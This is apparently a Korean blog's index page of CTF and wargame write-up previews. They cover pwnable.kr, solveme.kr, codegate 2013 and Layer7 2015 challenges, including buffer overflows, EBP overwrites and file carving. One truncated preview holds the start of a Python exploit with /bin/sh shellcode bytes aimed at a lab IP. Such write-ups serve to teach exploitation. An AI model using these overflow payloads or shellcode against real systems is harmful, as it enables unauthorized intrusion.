본문 바로가기

전체 글

(167)
pwnable.kr dragon dragon을 실행하면 영웅을 선택한다.영웅은 Preist와 Knight가 있는데 게임을 해본 사람이라면 누구나 알 수 있을 것이다.preist는 힐러 느낌이고 knight는 딜러 느낌이다한번 preist를 선택해보자 baby dragon을 만났다 baby dragon은 체력 50에 30데미지씩 입히고 5씩 회복한다. priest는 체력이 42에 마나가 50이다 근데 30씩 맞으면 그냥 죽으라는 소리 아닌가...스킬은 1. 마나 10 소모하고 20데미지를 준다.2. 마나를 회복한다.3. 한차례 무적 다음으론 knight를 보자이번에는 엄마 드래곤이다 체력이 80인 대신 회복력과 데미지가 조금 적다knight를 선택하면 스킬이1. 20데미지2. 40데미지 , 대신 내가 20 피해봄기사니 마나를 쓸일은 없지..
solveme.kr Photo Gallery 여기서 hacker.jpg를 복구해보았다. 낚였다.그래서 다른 파일들도 하나씩 봤는데 이런사진도 있더라.... 뭔지 모르겠어서 다시 처음부터 풀어봤는데 압축을 풀 때 Thumbs.db파일이 있는데 이미지들의 미리보기파일이다. 저 파일을 foremost라는 데이터 카빙툴로 복구를한다.foremost -i 1.zip이렇게 명령어를 입력하고 00000.zip이 나오는데 압축을 풀어준다. 순간 HWP파일인줄 알고 해봤는데 아무것도 없다 밑에 이미지 파일들이 잔득있는데 플래그 파일이있다.지난번 대회에서 이미지 선명도를 높이는걸 많이 했는데 그덕에 바로 알 수 있었다. tiM3_To_s4Y_go0dbye
solveme.kr What's this file? what 파일이 주어지는데 lzh로 압축된 파일이다. 확장자를 lzh로 바꾸고 실행하면 I'm Yours 노래 가사를 볼 수 있다. 이건 낚시였다 what 파일 밑에 보면 lzh가 하나 더있는데 빨간색으로 표시한 부분은 파일이름의 길이이다. 노란색부분은 이름이 들어가야하는데 00으로 되어있다. 아무 글씨나 한글자 넣어주면 압축을 풀 수 있다.
holyshield pwnit 우선 v3에 입력을 받고 v5를 넘겨준다. 힌트 함수에서 메모리 릭을 통해 스택 주소를 구할 수 있고 exploit 함수를 통해 ret을 덮어 쓸 수 있다 페이로드는 [NOP*48][Stack_Address][NOP][ShellCode] 스택 주소를 구해보자1234567891011121314151617181920212223242526272829303132333435from struct import *from socket import *import hexdumpimport time s = socket(AF_INET, SOCK_STREAM)s.connect(("192.168.153.139", 3720)) shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\..
pwnable.kr coin1 NC로 접속을 해보면 위처럼 나온다. 위조된 동전을 찾으면된다.실제 동전의 무게는 10이고 위조된 동전은 9라는 값이 나오게된다.총 100개의 위조 동전을 찾으면 되는데 제한시간이 30초다. 코딩을해야한다.알고리즘을 하나 사용하는데 binary search를 이용하면 풀 수 있다. 12345678910111213141516171819202122232425262728293031323334353637383940414243444546# -*- coding: utf-8 -*-import timeimport socket def search(num, count): first = 0 last = num-1 for x in range(count+1): mid = (first+last)/2 data = " ".join(..
codegate 2013 vuln200 이건 nc 서버 때문에 시간을 다 잡아먹었다.포트를 7777로 맞춰놓고 서버를 세팅해놔도 ㅂㄷㅂㄷ이다 Bind Error은 왜 자꾸 뜨는지 모르겠다..... 자 문제를 풀어보자 프로그램을 실행하면 이렇게 나오는데 ida로 보면 recv 함수의 리턴값은 recv 바이트 수를 리턴하는데 그 값이 sub_8048eeb 함수에 끝에 들어가고 0 초기화된 v13이 앞에 들어간다. 저 함수를 들어가보면 memcpy에서 취약점을 발견할 수 있다. 왜냐 a1은 v13으로 400바이트이다, len또한 400바이트이다.v13은 내가 입력한 값이 들어가는데 dest의 크기는 236바이트이다. 더 많이 입력할 수 있으므로 오버플로우가 일어난다. 위에 보이는 5개의 메뉴말고도 하나가 더있다. write라고 write를 입력해주..
Layer7 ctf 2015 IhaveLongDariYouHaveShotDari 프로그램을 실행하면 알람 함수가 있는데 타이머 같은거다 15초 제한 프로그램 실행 시 패스워드를 요구한다.다 적혀있으니 좋고 다음으로 숫자를 입력받는데 v5변수를 사용하고v8이 0x12C보다 높으면 아래의 메시지를 보여준다. v5 변수를 살펴보면 __int16인걸 알 수 있다. 즉 범위가 0~65535까지 인 것이다. 그리고 마지막으로 names:를 입력받는데 v7의 크기는 0x138로 312바이트 이다. 이제 실행해서 살펴보면 1단계 패스워드와 2단계 숫자는 무난하게 넘어갈 수 있다.__int16의 범위가 65535이니 +1를 해준 값을 넣는다. 마지막으로 3단계에서 바이트를 320개를 넣어주면 세그먼테이션 폴트가 뜨는걸 볼 수 있다. 그렇다면 마지막에 320바이트를 넣어주고 시스템 함수를 호출해보자/..
pwnable.kr simple login 소스를 아~~주 간략히 소개하자면 입력한 값을 base64로 디코딩하고그 값이 md5 해쉬값과 같다면 correct를 실행하는건데일단 12바이트를 넣어봤다. 이렇게 12바이트를 base64로 인코딩하고 그 값을 넣어준다. EBP를 보면 마지막에 넣은 4바이트로 EBP가 설정된 것을 볼 수 있다. 그럼 이걸 이용해서 우리의 목표인 correct 함수를 실행해보자. 끝부분을 corret함수로 설정해보았다. correct의 주소는 0x0804925f인데 ebp에 설정되니 -4값인 5b를 넣어주고 실행해 봤다. ASLR이 걸린 상태여서 저부분을 바로 correct로 설정할 수 없다. 고정값을 사용하고 있는 bss의 input을 사용하도록하자.즉 ebp를 문자열 입력 시작부분으로 덮는 것이다. 이렇게 값을 넣고 ..